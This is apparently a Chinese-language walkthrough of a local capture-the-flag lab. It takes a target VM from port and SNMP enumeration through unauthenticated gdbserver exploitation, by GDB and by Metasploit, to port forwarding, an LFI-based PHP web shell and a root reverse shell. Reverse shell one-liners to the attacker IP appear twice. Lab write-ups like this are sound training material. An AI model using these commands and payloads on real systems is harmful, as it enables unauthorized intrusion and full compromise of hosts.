-
将两台虚拟机网络连接都改为NAT模式
-
攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.128,靶场IP192.168.23.139

-
扫描服务器开放了哪些端口,有什么服务
nmap -sV -T4 -p- -A 192.168.23.139

1. 80/tcp & 8080/tcp - Apache httpd 2.4.61
- 异常点 :两个端口运行着相同版本的 Apache,但 8080 端口被 Nmap 标记为
Proxy might be redirecting requests。 - 分析:
-
- 80 端口 :可能是主站或简单的入口页。由于没有
http-title,可能返回的是空白页、自定义 403 页面,或者需要特定的Host头才能访问。 - 8080 端口 :提示"代理重定向"。这通常意味着它可能是一个 正向代理 或配置不当的 反向代理。
- 80 端口 :可能是主站或简单的入口页。由于没有
- 利用思路:
-
- HTTP 代理测试 :测试是否可以作为正向代理访问内网或外部网站:
curl --proxy http://192.168.23.139:8080 http://127.0.0.1:20500 - 虚拟主机爆破 :使用
ffuf配合不同的Host头部进行扫描。 - 目录扫描:两个端口的目录结构可能完全不同。
- HTTP 代理测试 :测试是否可以作为正向代理访问内网或外部网站:
2. 20500/tcp - unknown
- 分析 :这是一个非标准端口,且 Nmap 无法识别其版本。这类端口通常是自定义脚本、后门、或是某个特定应用的 API 端口。
- 探测命令:
-
- Banner 抓取 :
nc -nv 192.168.23.139 20500,连上后尝试输入HELP、GET /或随便敲点字符看回显。 - 深度脚本扫描 :使用 Nmap 默认指纹脚本:
nmap -sC -sV -p 20500 192.168.23.139
- Banner 抓取 :
3. 22/tcp - SSH (OpenSSH 8.4p1)
- 分析:Debian 11 的标准版本。
- 渗透意义:除非你能通过 Web 端找到凭据(如配置文件泄露、数据库备份),否则该端口目前的攻击优先级较低。
- 访问 80 端口开放的 http 服务

dirsearch -u http://192.168.23.139/ -e php,html,txt,zip,bak,old,config,php.bak,sql -t 50 -f -i 200,301,302,403

什么都没有
-
再使用 nmap 看看开放的 UDP 端口
nmap -sU --min-rate 1000 192.168.23.139

snmp服务是开着的,可以枚举敏感信息
onesonesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt 192.168.23.139
onesixtyone 是一个用于 SNMP(简单网络管理协议)枚举的命令行工具。它可以帮助发现网络上的设备,并通过查询支持 SNMP 的设备来识别潜在漏洞。

成功爆破出了 SNMP 的团体名(Community String)为 network。这个结果不仅验证了服务可访问,还为提供了目标的精确系统信息:这是一台运行 Debian 11 (Bullseye) 内核版本为 5.10.0-32 的 64 位 Linux 机器。有了凭据 network,现在可以开始深度挖掘敏感信息了。
snmp-check 192.168.23.139 -c network

发现关键信息

A. 20500 端口:gdbserver 远程调试(致命)
- 进程内容 :
gdbserver-9.2 --once 0.0.0.0:20500 /bin/true - 漏洞原理 :
gdbserver是一个用于远程调试程序的工具。它默认没有任何身份验证。当你连接到它时,你可以接管它正在运行的进程,甚至加载并执行你自己的恶意代码。 - 特殊配置 :
while true; do ... done意味着即使连接断开,服务也会自动重启。--once表示每次连接只运行一个会话。
B. 127.0.0.1:9000:本地 PHP 服务
- 进程内容 :
/usr/bin/php -S 127.0.0.1:9000 - 漏洞原理 :这是一个运行在本地回环地址(Localhost)上的 PHP 开发服务器,且工作目录在
/root/.serve/。 - 关联性 :由于它只监听
127.0.0.1,你在外网扫不出来。但如果你能通过gdbserver拿到权限,或者通过之前的 8080 代理端口 进行 SSRF 攻击,你就能访问到它。
获取 RCE
方法一、通过 gdbserver 获取 RCE
- 在攻击机上准备 Payload : 你需要一个简单的二进制文件或利用
gdb的能力执行 shellcode。最简单的办法是利用gdb的call功能。
启动本地 GDB 并连接:
gdb /bin/true # 最好使用与目标相同的二进制文件
(gdb) target remote 192.168.23.139:20500

- 在入口点中断 : 由于程序刚连上时停留在
ld.so(动态链接器) 层面,不要直接continue。我们直接在当前位置尝试注入。 - 强制注入 Payload : 如果
call因为没有符号表而失败,我们需要告诉 GDB 函数的返回类型。尝试指定系统函数的地址或通过remote传输。
最简单有效的方案:使用 file****命令加载本地二进制以获取符号参考
(gdb) file /bin/true # 加载本地的相同文件来获取符号表
(gdb) target remote 192.168.23.139:20500
(gdb) break _start # 在程序入口点下断点,这比 main 更靠前
(gdb) c
一旦停在断点,立即执行:
(gdb) set $pc = execl # 尝试直接修改指令指针(如果已加载符号)
# 或者使用更粗暴的 call (注意要把命令写全)
(gdb) p (int) system("bash -c 'bash -i >& /dev/tcp/192.168.23.128/4444 0>&1'")
方法二、 使用 Metasploit
msfconsole -q
use exploit/multi/gdb/gdb_server_exec
set RHOSTS 192.168.23.139
set RPORT 20500
set LHOST 192.168.23.128
show targets
set TARGET 1
set PAYLOAD linux/x64/shell_reverse_tcp
run
成功 getshell

-
成功 getshell,那么我需要 python3 启动一个可交互式 shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

信息收集一下
id
uname -a
lsb_release -a
ss -tlnp


把内网的9000端口转发出来。直接修改 Payload 重新攻击以便通过 metaspl
# 1. 退出当前的 shell
exit
# 2. 修改 payload 为 meterpreter 版本
set PAYLOAD linux/x64/meterpreter/reverse_tcp
# 3. 再次运行
run
# 将靶机本地的 9000 转发到你 Kali 的 9000
portfwd add -l 9000 -p 9000 -r 127.0.0.1

成功转发到 kali 本地

-
尝试模糊测试网站 GET 请求允许传入的参数
ffuf -u "http://127.0.0.1:9000/?FUZZ=user.txt" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fc 404,500 -fs 0
参数是 name 再探测是否存在本地文件包含
ffuf -u "http://127.0.0.1:9000/?name=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fc 404 -fs 0
ps aux | grep -v '\[' | grep root
ls -la /usr/bin/php
ls -la /etc/alternatives/php
ls -la /usr/bin/php7.4

-
可以在家目录写木马,然后通过前面发现的文件包含漏洞,,将木马文件污染网页构成 RCE 漏洞
echo '<?php system($_GET["cmd"]); ?>' > shell.php
wget --method=PUT --body-file=shell.php "http://127.0.0.1:9000/?name=shell.php" "http://127.0.0.1:9000/?name=shell.php" -O - 2>/dev/null

测试一下成功没有
wget -qO- "http://127.0.0.1:9000/shell.php?cmd=id"

成功构造了命令执行,并且发现是 root 权限,尝试反弹 shell
wget -qO- "http://127.0.0.1:9000/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.23.128/1234+0>%261'"

kali 要预先开启对 1234 端口的监听,成功 getshell
nc -lvvp 1234
